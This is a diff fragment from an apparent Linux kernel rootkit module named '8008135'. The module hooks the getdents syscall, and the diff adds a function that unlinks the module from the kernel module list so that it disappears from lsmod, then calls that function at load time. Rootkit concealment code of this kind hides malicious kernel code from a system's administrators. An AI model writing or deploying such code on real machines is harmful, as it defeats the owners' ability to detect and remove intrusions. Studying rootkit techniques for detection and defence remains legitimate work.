|
|
@ -83,6 +83,18 @@ asmlinkage long sys_getdents_new(unsigned int fd,
|
|
|
|
return ret;
|
|
|
|
return ret;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/*** FUNCTION ****************************************************************
|
|
|
|
|
|
|
|
* NAME: hide_module
|
|
|
|
|
|
|
|
* DESCRIPTION: hides the module from lsmod
|
|
|
|
|
|
|
|
* PARAMETERS: -
|
|
|
|
|
|
|
|
* RETURNS:
|
|
|
|
|
|
|
|
*******************************************************************************/
|
|
|
|
|
|
|
|
void hide_module(void){
|
|
|
|
|
|
|
|
list_del(&THIS_MODULE->list);
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/*** FUNCTION ****************************************************************
|
|
|
|
/*** FUNCTION ****************************************************************
|
|
|
|
* NAME: 8008135_init
|
|
|
|
* NAME: 8008135_init
|
|
|
|
* DESCRIPTION: initializing Kernel Module
|
|
|
|
* DESCRIPTION: initializing Kernel Module
|
|
|
@ -108,6 +120,9 @@ static int __init init_8008135(void) {
|
|
|
|
|
|
|
|
|
|
|
|
printk(KERN_INFO "New syscall in place\n");
|
|
|
|
printk(KERN_INFO "New syscall in place\n");
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hide_module();
|
|
|
|
|
|
|
|
printk(KERN_INFO "Module hidden");
|
|
|
|
|
|
|
|
|
|
|
|
return 0;
|
|
|
|
return 0;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|